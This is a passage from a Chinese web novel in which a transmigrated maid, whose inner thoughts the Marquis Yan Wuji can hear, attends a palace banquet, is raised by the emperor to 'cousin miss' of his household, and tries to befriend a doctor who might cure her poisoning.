听到外面的声音,朔千钰羞愤欲死,他没看错的话,晏无咎和他府上的丫鬟当时是站在侯府门口,应该没看到吧,毕竟还离得有一小段距离。 朔千钰咬牙切齿,都是怪晏无咎这个蠢货,听不懂他讲话,耗费了这么多时间,不然他也不会当众出丑。 马车外的马夫和侍卫真的觉得天塌了,为什么要让他们看到这样的场景,四皇子不会杀人灭口吧,臭味还在往鼻孔钻,两人根本无暇顾及。 此刻镇北候府门口,夏清棠自然看到了刚才的画面,虽然脏到了眼睛,但真的好好笑,她的嘴角快抽死了。 她又瞥瞥静静站在前面的晏无咎,偷偷腹诽。 【嘶!晏无咎这家伙没救了,还要多久才能看清朔千钰,明明那男的表现得这么明显】 【懂了,或许这就是清醒的沉沦,禁忌之恋,最高级的浪漫,知道你自私虚伪恶毒贪婪,但我依旧无可救药的爱上了你,天!好神奇!】 晏无咎无语的闭了闭眼,这个女人脑子里到底装的什么东西,简直是下流!龌龊! 【狠狠磕到了,邪门cp】 “侯爷,你怎么了?” 第二十三章又遇女主 “侯爷,你怎么了?” 夏清棠发现晏无咎直勾勾盯着自己。 晏无咎收回目光,“后日进宫,确实是该找个人好好教教你规矩了”。 “是,侯爷”,虽然很不想学,但说到要进宫,她其实也是怂的。 晏无咎挑眉,应的这么利索,这女人也有害怕的时候啊。 “行,等着吧” 这俩日,夏清棠除了学规矩外,还整日琢磨着怎样才能接触到那日在军营里见到的神医,另外,咋才能从朔砚辞那再拿几颗安心丸。 时间很快来到要入宫赴宴的日子,夏清棠忍痛把这唯一的一颗安心丸吃下,今日好歹是个大场面,不能犯病。 镇北候府外也备好了马车。 两人坐在马车里,相顾无言,气氛有亿丝丝的尴尬。 夏清棠的屁股一直悄悄地往最边上挪,这个男人想冷死谁。 “本侯吓到你了?” 夏清棠一个激灵,“没…没有啊,侯爷,你这么英俊潇洒风流倜傥,老远看着就像一个好人,怎么会吓到我呢”。 晏无咎:“是吗,那你的屁股是怎么回事儿,长疮了?” 夏清棠:?? 难以形容她现在的心情,又对晏无咎这张嘴有了新的认知。 “哈哈,侯爷,你真幽默,我只是觉得这里靠窗,凉快些” 晏无咎看夏清棠脸上那要笑不笑要哭不哭的死表情,玩心大发,他一个屁股就挪过去,挨着夏清棠,嘴里还好奇的说,“是吗,正好本侯也挺热,我过来试试”。 身侧突然袭来的男性气息让夏清棠一下愣住,脑子里不断闪现晏无咎刚才的骚操作。 【晏无咎这是什么骚操作,用屁股玩滑移,还有,他离这么近干嘛】 晏无咎垂眸,目光落在身侧女人泛着一点红的耳垂上,又故意低下头凑近夏清棠的耳朵,语气很认真,“嗯,夏大丫鬟你说的确实不错,这里不仅凉快,空气还清新,啧…我怎么还闻到一股香味”。 “你闻到没有” 夏清棠真的要土拨鼠尖叫了。 【这个男人怎么这么骚,什么香气,哪有什么香气,还一直朝我耳朵说话干嘛,服了,真的给我带来很大的困扰】 听到这心声,再看看眼前女人的耳朵甚至连着脖子都肉眼可见的变红,晏无咎轻笑出声,口嫌体正的女人。 夏清棠闭了闭眼,【这个狗男人到底在笑啥,我怀疑他今天吃错药了】。 【行,不走是吧,那我走!】 【今天我不需要你,暂且撂一边儿去】 夏清棠:“侯爷,我不热了,我过那边坐着,你搁这儿吹风吧” 夏清棠又迅速换了个位置。 不需要他?呵,好样的,晏无咎恢复正经,“给我倒杯茶”。 刚坐好的夏清棠又起来在这狭小的马车里给晏无咎倒了一杯凉茶。 接茶时,晏无咎的指腹若有若无的扫过夏清棠的手背。 夏清棠皱眉,又看看晏无咎正经喝茶的样子,不禁嘀咕,是她的错觉?怎么感觉这厮是故意的。 晏无咎垂眸喝茶,茶杯遮掩下,唇角微微勾起。 一阵秋风掠过,马车窗帘被吹起,马车里的画面尽数露出。 察觉到探究的视线,晏无咎面色一冷,拿手摁下窗帘。 …… 皇城外,停了不少马车,也站了不少人。 晏无咎的马车姗姗来迟,所有人的目光不约而同地落在这辆明显格格不入的马车上。 此次赴宴的哪个不是在官场上有头有脸的人,乘的马车虽不能说是奢华至极,但也算是低调有内涵了,再看眼前这辆珊珊来迟的马车,可以说是很简朴了。 一看就是镇北候的马车。 夏清棠和晏无咎刚出马车,就感觉到目光的洗礼,啧,很不爽。 晏无咎一个眼神扫过,众人瞬间感觉到杀神的气息,迅速移开目光。 有眼里见的大臣已经迎了上来,“哈哈哈!镇北候啊,好久不见”。 “是啊是啊,镇北候你可算是来了,方才我们几个老东西还在这儿夸你呢,年纪轻轻就有如此成就” “真真是英雄出少年啊,哈哈哈!” “说来,镇北候年方十八,正是风华正茂之时,不知身侧可有佳人相伴?” 话音刚落,现场氛围明显转变,几乎所有人的目光都落在晏无咎身侧的夏清棠身上。 夏清棠内心一万头绿马跑过,看她干嘛,她有啥好看的,都去看晏无咎啊。 晏无咎再次眼神杀,并侧身挡住夏清棠。 晏无咎语气冰冷,“暂无此意”。 “唉,可惜了可惜了” 宫里出来接引的太监了,依次将一众人给引进去。 走在最前面的就是晏无咎,苏丞相和宋太尉。 宋玉竹跟在她爹身后,小声又兴奋的朝夏清棠打招呼,夏清棠微笑回应。 原来是太尉的女儿啊。 一个晃眼,又瞥到苏丞相身后的苏菀,书中女主。 如果没记错的话,女主现在正在想办法甩掉前世那个书生,而那书生就是下定决心要赖着女主,书中,女主完全甩掉这个书生也是下了点功夫的。 苏菀自然也看到了晏无咎身后的夏清棠,模样长得倒是不错,看样子,晏无咎这逆贼还挺在乎,哈哈,朔灵汐那个疯子若是见了肯定又要发疯了。 进了宫,太监先引着一众人去御花园赏花,免不了又是一阵互捧。 太监说了一堆话,夏清棠概括了一下:“你们先在这赏着花,除了御花园内哪都不能去,饿了就吃桌子上的糕点,到了点,我会来叫你们去参加宫宴”。 服了,不就是在这等着吗,那来这么早干嘛,怎么跟现代那群学校搞得活动流程一模一样,时间无限往前推。 她好想离开这儿,总感觉一会儿那个疯子公主就要过来了。 晏无咎此刻被一众大臣围着,虽然大部分大臣都打心底里看不上晏无咎草根孤臣的出生,但实在耐不住晏无咎现在在朝堂上确实很有威慑力。 该巴结还是得巴结一下。 晏无咎察觉到夏清棠炽热的目光,他淡淡回应几位官员,“失陪一下”。 第二十四章朔青禾 “侯爷” 看着朝自己走过来的男人,夏清棠明显又感觉到再次扫视自己的一众目光。 “侯爷,我可以去别处赏花吗?” 晏无咎脚步顿住,面前女人眼里对他的避之不及未免太过明显,这女人……真是背后一套,当面一套。 “侯爷,可以吗?” 夏清棠期待。 晏无咎故意道,“好啊,本侯和你一同去”。 夏清棠内心一言难尽,谁想跟你一同去,面上却很善解人意,“侯爷,不必如此麻烦你,我一个人也可以的”。 两人还在交谈,不远处官员们的目光也隐含上些别的味道。 夏清棠真的很想骂人,“侯爷,你真善良” 晏无咎有点想笑,今日心情还行,便没再故意逗她,“行了,你自己去吧,别乱跑,本侯还有事儿”。 “嗯嗯!” 夏清棠立刻闪身离开晏无咎身边,这个晏无咎怎么一阵一阵的。 宋玉竹刚才趁着自家爹和一众官员谈话的时候,已经去了别处赏花,现在看到突然出现的夏清棠,她心里欣喜,小声唤了唤夏清棠,“夏姑娘”。 夏清棠骤然看到宋玉竹还有些不好意思,“宋小姐”。 宋玉竹怔住,再开口,语气糯糯的,也能听出带着些急,“夏姑娘,你……你唤我宋姑娘就好”,其实是想直接让喊她名字的,但是又怕夏姑娘会觉她太过粗鲁。 夏清棠眨眨眼,眸光一瞬不瞬地盯着宋玉竹白嫩脸蛋儿上泛起的红晕,咽了咽口水,这也太嫩了吧。 “夏姑娘?你在看什么,是我脸上有什么东西吗?”,宋玉竹一双清澈无暇的小鹿眼带上些局促,夏姑娘干嘛一直盯着她的脸看,哎呀,肯定是因为没上好妆。 夏清棠猛地回神,“啊,没有没有,是我一不小心走神了”。 两人结伴在御花园一角赏花,宋玉竹对夏清棠有很多好奇,可是根本不敢问,太冒昧了。 喵~ 喵呜~! 夏清棠顺着声源看去,眼睛顿时亮晶晶,是一只大肥猫,黄白色的,正懒洋洋的卧在花丛中。 “咪咪,咪咪” 一连叫了好几声,肥猫也只是懒洋洋的瞥了夏清棠的一眼。 宋玉竹在一旁轻笑,“夏姑娘喜欢小猫吗,我府上也养了一只,和这猫一样,都傲气的很”。 夏清棠点头,她尤其中意这种屎黄色的凑猫。 “大黄!” 一道清冽的少年音落下,只见刚才还在花丛里窝着的屎黄色小猫嗖的一下迅速蹿走,地雷般砸在一个少年郎的怀中。 是一个清冷孤僻的少年。 夏清棠看呆了,她不可置信的眨眨眼,这个男孩儿长得也太像她妈了,要不是在现代她妈早早就离开了,她真的会以为这是不是她妈的私生子也穿越了。 好吧,世界之大无奇不有,只是长得像而已。 少年神情淡淡,浑不在意看着他的两人,只垂眸摩挲着怀中乖巧的小猫。 夏清棠看了半天,觉得这应该是宫中的皇子,看样子约莫是十三四岁,她眼神询问一旁的宋玉竹。 宋玉竹摇摇头,她也是第一次进宫,并不晓得这到底是谁。 “喵呜!” 一声带着些怨气的猫叫落下,两人见那少年好似轻笑了一声,抱着肥猫转身离开,全程一点都没把她们两人当回事儿。 挺好的,就这样就挺好,两人同时呼出一口气,相视一笑。 “那个扫把星天天抱着那个死肥猫在皇宫里,跟个鬼一样” “嘘!低声些,你不要命了,人家可是六皇子,就算是扫把星,是野种,也轮不到我们来说” “可不是吗,人家那娘可是受宠着呢” 夏清棠清晰的听到交谈声,以及越来越近的脚步声,她连忙拉着宋玉竹说话。 “哈哈,是吗,你也觉得这花好看,我也觉得好看,还挺香” 宋玉竹:“夏姑娘,你……” 几个端着食盒的丫鬟看到正在赏花的夏清棠和宋玉竹并未多想,只是按规矩行礼,又把装着食盒里的糕点摆在两人旁边的石桌上。 “两位小姐安,御膳房新做的糕点,魏公公特意吩咐奴婢们端来让小姐们尝尝鲜” “嗯” 几个丫鬟端着食盒走向别处。 夏清棠闻到空气中的糕点香,随意拿起一块小糕点放进嘴里,不对劲啊,她赶紧吐出来,这是杏仁糕!她对杏仁糕过敏。 宋玉竹:“你怎么了?” 夏清棠摇摇头,按理来说,是她在现代的身体对杏仁过敏,现在用的是原主的身体,那应该没事儿吧。 不过肯定是不能吃的,毕竟她的脸都和原主的脸长得一样,保不齐再来点什么一样的。 夏清棠琢磨着,突然感觉胳膊上痒痒的。 宋玉竹瞪大双眼,“夏姑娘,你怎么了,你的脸”。 夏清棠瞳孔骤缩,她的胳膊上泛起了米粒大小的红点点,看宋玉竹那样子,她的脸是也遭殃了,她记得自己对杏仁的过敏程度没这么厉害,看来是这具身体对杏仁太敏感了,已经到了只在嘴里转一趟就会引起过敏的程度。 “夏…夏姑娘,你愣着干嘛,我快带你去找大夫!” 宋玉竹顾不得害羞,抓起夏清棠的手就跑,发现跑不动。 夏清棠:“这里是皇宫,不会有人给我治的,这都是小事,过几天就消下去了,没事儿” 宋玉竹:“我让我爹去找……” 夏清棠打断,“真的不用了,我带个帕子遮住脸就行了”。 夏清棠死薅住宋玉竹,可千万不能让太医给她治,进了皇宫,她真的只想当个透明人啊。 宋玉竹犹豫,还是听了夏清棠的话,把自己的帕子绑在夏清棠两侧耳边。 两人离开的时候,角落里出来一道身影,看着石桌上的杏仁糕若有所思,也是对杏仁过敏吗。 “喵呜!” 第二十五章都是为了安瑾 晏无咎看到夏清棠遮着脸的时候,沉默了,“你被蜜蜂蛰了?”。 夏清棠:请不要拿那种看蠢货的眼神来看我 她摇摇头,“不是,误食而已”。 晏无咎:“想不到夏大丫鬟这么贪吃” 夏清棠扶额:啧。 晏无咎走在前面,“行了,跟着我去参加宫宴”。 “夏大丫鬟,吃东西前一定要记得先睁眼” 夏清棠:呵呵…… …… 天色暗了,紫宸殿内烛火通明,此次受邀的各府千金极其家眷纷纷入座,夏清棠随着晏无咎坐在一起,刚一坐下,夏清棠又感觉到刚到皇宫那种被目光所洗礼的感觉。 夏清棠扶额叹气,服了。 听到旁边的女人叹气,晏无咎情不自禁稍稍朝夏清棠挪近了些。 【服了,等我的毒解了,等我的身体恢复道巅峰时期,我一定立刻马上就离得晏无咎远远的,在他身边属实受罪啊!】 晏无咎疑惑,解毒?在他身边解毒,晏无咎立刻就想到了安瑾,上次在军营,这女人心里没少念叨神医,原来帮助他都是为了安瑾。 晏无咎周身气势瞬间冷下来,挪着屁股下的椅子又离夏清棠远了点。 察觉到身旁男人的小动作,夏清棠只当这男人是又吃错药了。 晏无咎脸色黑的发沉,看到身旁的女人还在乐呵呵的吃着糕点,他出言讥讽,“后面还有盛宴,你可得留点肚子”。 夏清棠:“哦哦,好的侯爷” “圣驾到——!” “灵汐公主到——!” 内侍总管魏公公绵长响亮的声音响彻紫宸殿。 众人齐刷刷起来行礼。 魏公公:“平身——!” 御座上的景明帝说话了,“朕知晓诸位前些时日受了惊,区区逆贼鼠目,竟妄图以妇孺来要挟朝堂,蔑视皇威,朕以下令追捕逆贼”。 众人:“陛下圣明!” 景明帝:“今夜设宴,主要是慰劳各位受惊之苦,诸位今夜不必多礼,不必拘谨” 话音刚落,乐声就起,众人也稍稍放松下来,开始饮酒吃菜。 就是偏偏众人中有半数都是当官的,都是景明帝的兵。 “陛下仁厚!往后臣一定严加管教府中下人,护好家眷” “是啊是啊,这逆贼再猖獗,也只能猖獗一时,必定逃不过陛下的天罗大网!” “陛下如此护民,老臣深受感动,日后臣一定会将陛下的事迹尽数记载,叫天下人看看我朝君主的天威!” “……!” 饶是生活在马屁堆里的景明帝,今夜也被这层出不穷,五花八门的马屁给拍的喜滋滋。 景明帝咧着个嘴笑呢,就看到晏无咎黑着张脸,遗世独立,他的目光瞬间沉下来,这个晏无咎还是如此不知好歹! 景明帝:“镇北候,你身旁这位就是那位有勇有谋的丫鬟?” 夏清棠:?她?有勇有谋……谁说的!这话谁说的! 景明帝:“宋太尉跟朕讲了,说他女儿能完好无损的逃出来,多亏了这位姑娘啊” 夏清棠嗖的看向宋玉竹,宋玉竹抱歉的笑了笑,又幽怨的看向自家爹。 晏无咎冷冰冰,“陛下谬赞,不过是一个运气好了点的丫鬟罢了”。 景明帝微眯双眼,丫鬟罢了?他看未必。 “哦?是吗?朕倒是觉得这位姑娘巾帼不让须眉,哈哈哈!” 这一句话落下,在场不少人都变了脸色,皇上这夸赞未免太大了些。 晏无咎:“陛下说的都对” 夏清棠帕子下的嘴角紧抿,晏无咎怼别人的样子很有趣。 景明帝看向夏清棠,双眼微眯,好似在回忆,“朕对你有些印象,莫不是不久前镇北候生辰宴上救了朕和镇北候的那丫鬟?”。 夏清棠回答说是,这皇帝眼里见好啊,她今日带着面纱呢,还能认出来。 景明帝一拍案桌,“果真是巾帼不让须眉啊,朕定要重重赏你!哈哈哈!” 夏清棠有股不好的预感。 景明帝目光又落在夏清棠覆着面纱的脸上,语气听着很平和,“你今日为何覆面?”。 夏清棠不慌不忙的起身行礼,“民女今日误食,容颜有碍观瞻,恐污了陛下的眼,这才遮面,还望陛下恕罪”。 景明帝却忽而爽朗的大笑,“甚好甚好,镇北候身边一直没个相伴的女子,今日一见到你,朕看啊,若是将你配给镇北候做个妾,定是件美事”。 满座哗然,谁不知道这是明晃晃的羞辱,皇上是不是吃错药了,居然敢这样明晃晃的羞辱镇北候。 “什么?!” 第一个发出异议的是朔灵汐,她不可置信的看向自己的父皇。 景明帝不满皱眉,“放肆!”。 朔灵汐愤愤的闭上嘴,内心对这个父皇的不满进一步加深。 夏清棠真的无语了,她是工具人,妥妥的工具人,拿她来羞辱晏无咎,完了,按晏无咎这个小心眼的性子,她接下来的日子不好过了。 “爱卿,你觉得如何?” 压力给到晏无咎。 晏无咎长睫低垂,神色难辨,他看了看夏清棠,以这女人的性子,若真叫她做了妾,心里必定是要恶狠狠给他扎小人。 “臣恕难从命” 满殿死寂。 景明帝脸上笑意瞬间消失,朔灵汐倒是笑容满面,她就知道,无咎哥哥怎么可能会看上这个有病的丑女,像晏无咎这样的人就应该找个她这样对自己仕途有用的女子相伴。 景明帝:“怎么,是觉得配不上你镇北候吗?” 晏无咎现在极度不耐,这狗皇帝真他#能说,“倒也不是,夏姑娘配在下绝对是绰绰有余,是在下配不上,皇上,你知道的,想杀臣的人数不胜数,更不用说我日后还要出兵打仗,岂能耽误这好人家的女子”。 满座又是哗然,还是镇北候刚!他们就只敢拍马屁。 夏清棠撇嘴,这些话听着怎么怪不是滋味儿的,感觉晏无咎一下可怜了好多,不仅不能人道了,还不敢娶妻。 景明帝本来沉着的一张老脸又突然笑起来,“还是镇北候觉悟高啊,但朕的话都放出去了,既如此……”。 众人竖起耳朵听。 “既如此,朕赏她镇北候府表小姐的身份,往后,便不算奴婢之身了,也好帮着打理你府上的事情” 满座再次哗然,不明所以的千金们都好奇地看着夏清棠,真真是飞上枝头了。 而知道些门道的大臣则是将目光徘徊在景明帝和镇北候之间。 第二十六章萧神医? “臣遵旨” 这下晏无咎应的很利索,倒是让景明帝愣了愣。 景明帝内心冷笑,看来此女在晏无咎心中确实有几分地位。 晏无咎看向明显吃惊的女人,眼里沁出笑意,这女人现在毕竟还有用,给些甜头也未尝不可,若是日后没用了,就一脚踹掉。 夏清棠惊了几秒,瞬间领会到晏无咎的用意,看来这男人是看到自己身上的价值了,这男人心里绝对在琢磨日后她没用了就把她踹掉。 景明帝哈哈大笑两声,“还是镇北候考虑的周到啊,既如此,那便按镇北候说的来”。 夏清棠:也算是一种升职……还有,朔灵汐现在真的很像一头饥饿的鬣狗。 朔灵汐咬牙切齿的看着夏清棠,狗皇帝明明知道晏无咎入了她的眼,还要搞这一出,夏姑娘?有的玩了,以为夏姑娘比丫鬟好当吗? 朔灵汐想到什么,正一脸恶趣味的盯着夏清棠。 谢谢了狗皇帝,谢谢了晏无咎,她可真是闲不了了,夏清棠起身谢了旨,又坐回品味美食。 她看向晏无咎满满当当的桌前,凑近晏无咎温柔的问了一句,“侯爷,你吃这个吗?”。 晏无咎自认为看穿了这女人,不过又是想讨好他而已,他高傲道,“不吃”。 “啊,真的吗?那侯爷我可以吃吗?” “……” “侯爷?” “……嗯” 夏清棠动作迅猛的夹过,“谢谢侯爷”。 【这皇宫里吃的太好了,还是纯天然无添加,趁还活着多吃两口】 晏无咎屏气,目光隐晦的盯着孜孜不倦从他这儿往自己盘子里夹菜的女人,心态倒是好,这菜有这么好吃吗? 晏无咎夹了一口菜,还不错。 另一边的苏菀沉着眉,前世可一点没听说过镇北候多了个表小姐这事儿,罢了,总归不过是个迟早要死的弃子和逆贼,她只需要专心帮助千钰哥哥登上皇位,再安心的当自己的皇后就好了。 前世千钰哥哥那么爱自己,这一世必定也是。 苏菀又想到还在纠缠自己的书生,她咬牙,一定要尽快把他除掉,绝对不能让千钰知道自己曾和别的男子私定终生。 …… 这次宫宴结束后,镇北候府多了个表小姐,还是个丫鬟升上去的事情瞬间成了京城上流社会的谈资,无非就是说,这丫鬟飞上了枝头,说镇北候被羞辱了,说景明帝胆子大,用这种方式来提醒镇北候。 身为当事人的两位却丝毫没当回事儿。 夏清棠觉得跟当丫鬟没啥区别,晏无咎还是把她当丫鬟使,算了算你,都是牛马,老板让干,她就干! 不知道晏无咎今日是去上朝了还是去军营了,夏清棠百无聊赖得待在侯府里,琢磨着身上的毒该如何,找朔砚辞要安心丸? 她才不会给朔砚辞那个阴险恶毒小人偷晏无咎的玉佩,夏清棠突然眼前一亮,若是现在去自爆自己其实是朔砚辞派来的卧底,并且表示自己真心要归顺晏无咎,这样的话晏无咎会不会让神医来治自己。 夏清棠还在思考这件事的可行性,就望到林木好像正领着个人往里走。 嗯……有点眼熟,夏清棠眯着眼细细看,哦买噶!这不就是神医吗,她当时亲耳听到旁人喊他萧大夫,还待在晏无咎身边,这不是神医谁是。 还真是说曹操曹操就到啊。 夏清棠眼睛亮晶晶的看着走过来的两人。 林木:“咳咳,夏姑娘,这位是萧公子,侯爷的客人”。 夏清棠温柔微笑,虽然脸上还蒙着面纱,“萧公子你好,我是府上的表小姐”。 萧策了然一笑,“夏姑娘,略有耳闻”。 这么斯文,气质这么温润,怎么看怎么像大夫,夏清棠心底暗喜,“林侍卫,快领着这位萧公子进去歇着,侯爷回来想必还有一阵时间”。 林木点头,怎么感觉夏姑娘现在有点像那什么,哎!忘了那词儿咋说了。 夏清棠满意的看着萧策,“萧公子,你手中提这么多东西,我来帮你拿吧”。 萧策下意识躲过,“不必麻烦夏姑娘了”。 林木带着萧策往正厅走,夏清棠轻啧,这么防备她啊。 她眸光又落到萧策手里提着的东西上,包的药材。 夏清棠迈步跟上,作为镇北候府的表小姐,招呼客人是她应该做的事情。 夏清棠刚进门就温柔小意的过去拿过了林木手里准备好的茶壶,迈步走进萧策。 林木呆:? 萧策常年温润如玉的面部划过一丝不解,这个夏姑娘未免有些爱干活了。 萧策微微颔首,“多谢夏姑娘”。 夏清棠顺势坐在一旁,“萧公子,你快尝尝这茶,林侍卫亲手跑的,林侍卫可是泡的一手好茶”。 萧策点头,端起茶杯轻抿了一口,“确实是好茶”。 又察觉到夏清棠饱含深意的目光,萧策偏头看去,不由一惊,这位夏姑娘为何满眼泪光。 “夏姑娘,你这是……” 夏清棠猛地反应过来,赶紧别过脸,耳朵上还泛起可疑的红晕,声音里带着浓浓的鼻音,“萧公子见笑了,我就是见到侯爷居然有你这样的好友,为侯爷感到高兴”。 她就是想告诉萧大夫,大家都是一家的,都是一个阵营的。 萧策很意外,没想到这位夏姑娘还是个性情中人,他微微一笑,嗓音温润,“夏姑娘如此关心侯爷,侯爷知道了定会开心”。 “夏姑娘也不必太过为侯爷忧虑,侯爷的好友不在少数” 夏清棠红着眼眶,松了一口气,“那就好,我们侯府整日里这么冷清,平日里侯爷也是忙忙碌碌,不曾见过他有什么友人,如今听到萧公子所言,我就安心了许多”。 萧策:“夏姑娘安心即可” 夏清棠看着萧策又是欲言又止。 萧策微微一笑,“夏姑娘但说无妨”。 夏清棠:“敢问萧公子,所操何业?” 第二十七章阴阳怪气的老男人 ? 萧策承认这确实是自己没想到的问题,这个表小姐…… 夏清棠期待的看着萧策。 萧策微微笑了笑,“不过是些糊口营生,不值得一提”。 夏清棠又叹了一口气,语气里带了些不好意思,“唉,萧公子,我其实是想问你平日里忙不忙,若是不忙……若是不忙,可否多多来这侯府转转”。 萧策疑惑,“夏姑娘,敢问此举何意?”。 夏清棠脸蛋儿泛红,“是我唐突了,只是自从我进了侯府,见到的侯爷从来都是只身一人,这些日子,我看侯爷整日孤身一人的好不是滋味,想着萧公子你是侯爷的好友,平日里若是得闲的时候,能多来府上看看侯爷就好了”。 看到这位夏姑娘满眼的倾慕,萧策了然,想必又是一个将芳心倾注于将军身上的女子,若是安瑾在这儿,想必是要咋咋呼呼的尖叫的。 萧策温润开口,“夏姑娘放心,你们侯爷即使整日孤身一人,他也很开心”。 夏清棠不相信,“真的吗?”。 萧策:“自然是真的” 夏清棠稍稍放心些,粲然一笑,“萧公子,侯爷有你这样温润有礼的俊俏公子做好友,我真是为他高兴”。 萧策心底一怔,耳侧微微烧红,这个表小姐夸人的方式是他从未见过的。 萧策脸上笑意羞涩了些,“夏姑娘,过誉了”。 两人的对话给一旁的林木听得一愣一愣的,突然,他脑中灵光一闪,花孔雀!想起来了,夏姑娘现在这样的不就是像只花孔雀吗。 “嘿嘿嘿” “林侍卫,你在笑什么?” 林木反应过来,一不小心笑出声来了,“啊?啊!我刚才一不小心想到好笑的事情了,没憋住”。 夏清棠狐疑的点点头,又继续和萧策交谈。 林木偷笑了一会儿,猛然意识到不对,夏姑娘是在对着萧策开屏!不是侯爷!那侯爷岂不是被抛弃了?他要捍卫侯爷的幸福。 林木:“夏姑娘,侯爷出府前说想吃你做的红枣桂圆糯米粥,你该去做了” 夏清棠眯眼,晏无咎会主动说这种话?这个林木在搞什么鬼,“林侍卫,你去厨房交代一声就可以,他们也会做,现在招待萧公子要紧”。 萧策:“无碍,夏姑娘若是有事,去忙便可” 夏清棠:“这怎么能行,侯爷一直教导我,要有规矩,把客人一个人丢在这里,岂不是坏了规矩” “林侍卫,麻烦你去交代一声” 林侍卫不是很想去,他想在这里。 夏清棠死亡微笑,“林侍卫快去吧,不然侯爷回来怪罪就不好了”。 林木走了,去厨房了。 萧策温声道,“想不到夏姑娘还是一个如此有魄力的女子”。 夏清棠点头,又状似无意的抚了抚胳膊,脸上浮着愁容,“也不知这些何时才能消掉”。 萧策眸光始终温润,“夏姑娘,这是为何烦恼?不妨说出来听听”。 夏清棠手撑着下巴,开始回忆,“昨日入宫赴宴,在御花园里赏花,不知怎的,这身上,脸上就起了好些红疹子”。 萧策思索,“可否吃过什么东西或是碰过什么东西?”。 夏清棠思索,“碰过花,还有……还吃了杏仁糕!”。 萧策整日和安瑾待在一起,对于某些医术说法略有耳闻,他斗胆说了一句,“夏姑娘或许正是因为这花和这糕点,日后对这两样东西还是小心为妙”。 夏清棠眼睛瞬间亮晶晶,“哇塞,萧公子你还懂医术吗?”。 果然果然,这个萧公子懂医术,夏清棠现在已经有八分确认这个萧公子是神医,另外两分给意外和万一。 萧策依旧噙着温润的笑意,面不改色,“略懂一点点皮毛,不足挂齿”。 夏清棠,“那萧公子可以帮我治治这些红疹吗?”。 迎着夏清棠期待的目光,萧策常年温润的表情罕见的带上一丝龟裂。 夏清棠失落低头,“是不方便吗?那好吧”。 萧策眼神一亮,面部表情恢复,“是,确实是不方便,夏姑娘见谅”。 夏清棠:“……” 不愧是神医,迂回战术居然不奏效。 林木去厨房吩咐完事情,往回返的时候,在大院里遇上了刚回来的晏无咎。 “侯爷,萧公子来找你了,现在和夏姑娘在正厅” 晏无咎面无表情,“夏清棠在待客?哼,这么主动,真是见鬼了”。 林木跟在自己侯爷身后,想到一会儿侯爷看到的场景和接下来可能会发生的事情,居然莫名其妙有些兴奋,他在兴奋什么。 …… “哈哈哈,是这样吗?” “萧公子,你好幽默” 晏无咎来到正厅口时,听到的就是夏清棠银铃般的笑声,他不屑冷哼,这女人笑得真假。 “侯爷,你回来啦” 夏清棠率先看到晏无咎,刚回来就臭着一张脸,难不成是又被暗算了? 晏无咎:“看不到吗?” 夏清棠无语了,什么时候能光明正大的给这个男的几个大嘴巴子。 晏无咎:“聊什么呢,聊的这么开心” 萧策微笑,“讲了些故事”。 晏无咎悠闲落座,眼眸淡淡扫过夏清棠,“倒茶”。 【晏无咎怎么回来这么早,我还没和萧公子打好感情基础呢】 晏无咎嘴角僵住,还想跟萧策培养感情,想得美,整日想办法吃他豆腐,又想着要安瑾给她解毒,现在又想和萧策打感情基础! 这个女人……人心不足蛇吞象! 晏无咎喝了口茶,“你今日不忙吗?”。 萧策:“近几日都不忙,方才夏姑娘还说希望可以多些好友来府上寻你,说你太孤独了”,说完这句话,其实萧策内心很想笑。 晏无咎意味深长的噢了一声,“是吗,夏姑娘真是有心了,还怕我孤独,我很开心”,人心不足吞象,这个女人贪得很,勾搭他一个还不够,这架势,是打算选妃啊。 夏清棠在旁边冷笑,【阴阳怪气的老男人!看看人家萧公子,气质多温润,说话多讲究】。 萧策看出了两人间的暗流涌动,他轻笑,打断两人,“将军,我此行主要是来给你送些东西”。 晏无咎看到了萧策身侧熟悉的药包,了然点头,“来书房说”。 第二十八章送豆腐吃 墨韵院书房内。 萧策:“将军,安瑾这几日家中有急事,托我将药交给你,说照旧喝” 晏无咎点头,随手将药放在书架上。 这几日没喝药,也没觉得头疼,或许是已经好了,这些药可以先放一放。 晏无咎:“她都跟你说什么了” “安瑾还说不吃意外的话,很快就能回来,让将军你受伤中毒悠着点” “……” 晏无咎又不在意地问,“……夏姑娘跟你说什么了”。 萧策一愣,温润的笑意里带上些新奇的情绪,“夏姑娘说觉得将军你整日一个人看着好可怜,希望我们多来找你玩,将军,夏姑娘是个好姑娘”。 晏无咎轻嗤一声,“聊了这么一会儿,都说上好话了”。 萧策一副看透一切的表情,“将军,你觉得不是吗?”。 晏无咎一下被噎住了,声音冒着寒气,“未曾”。 不过是个为了安瑾才接近他的女人,他可从未觉得好。 萧策走了,大院里,夏清棠悲伤不舍的望着萧策离开的背影,直到再也看不见人影,她转身往回走,冷不丁撞上一堵有弹性的墙。 “什么东西” 夏清棠吃痛的摸额头,头顶传来声音。 “眼睛长那么大是用来出气儿的?本侯这么大一个人,你就非得撞上来” 想吃豆腐就直说。 夏清棠连忙道歉,“侯爷,撞疼你了吧,哎哟,我真不是故意的,我以为侯爷你是将军,肯定能躲过呢”。 【阴阳怪气的狗男人,嘴这么毒活该没老婆!】 晏无咎危险眯眼,嘴角勾起不可言说的笑,他往前一步,俯下身靠近夏清棠,右手伸向夏清棠脑侧。 夏清棠下意识伸手就要给晏无咎来一个过肩摔,已经抓住晏无咎的胳膊,却听到耳边传来的低沉嗓音,“别动,你这里有东西”。 【吓我一跳,我还以为这晏无咎要报复我撞他】 听到这心声,晏无咎嘴角抽了抽,这个女人脑子还真是清奇,看不出来他在给吃豆腐的机会吗?真是愚钝。 耳朵痒痒的,脸颊热热的,夏清棠不禁催促,“侯爷,你好了没,我那儿有什么东西”。 晏无咎目光不自觉落在夏清棠莹白的脖颈上,喉结不自觉地滚动了一下,好白,这女人怎么这么白,还香香的。 “侯爷,你……” 夏清棠等了半天没听到回应,只感觉脖子处热热的,烫烫的,她不耐扭头,鼻尖堪堪擦过晏无咎微凉的嘴唇,两人的呼吸瞬间交缠。 !! 夏清棠瞳孔骤缩,猛地退后好几步。 晏无咎更是浑身僵住,呆呆的站在那儿,整个耳朵带着脖子都爆红,呼吸不自觉地加快,脑子怎么乱糟糟的,心跳也好快,是因为……是因为没喝安瑾给的药吗。 夏清棠自然看到了晏无咎现在这副样子,他怎么红温了,不是吧,不至于吧,鼻子碰到他嘴都能气成这样, 夏清棠在晏无咎面前摆摆手,“侯爷?晏无咎醒醒!”。 晏无咎骤然回神,又撞进夏清棠溢满关切地眼神,他喉结剧烈滚动,躲避夏清棠的目光,“我……我没事,是刚才你发侧有个小虫子。” 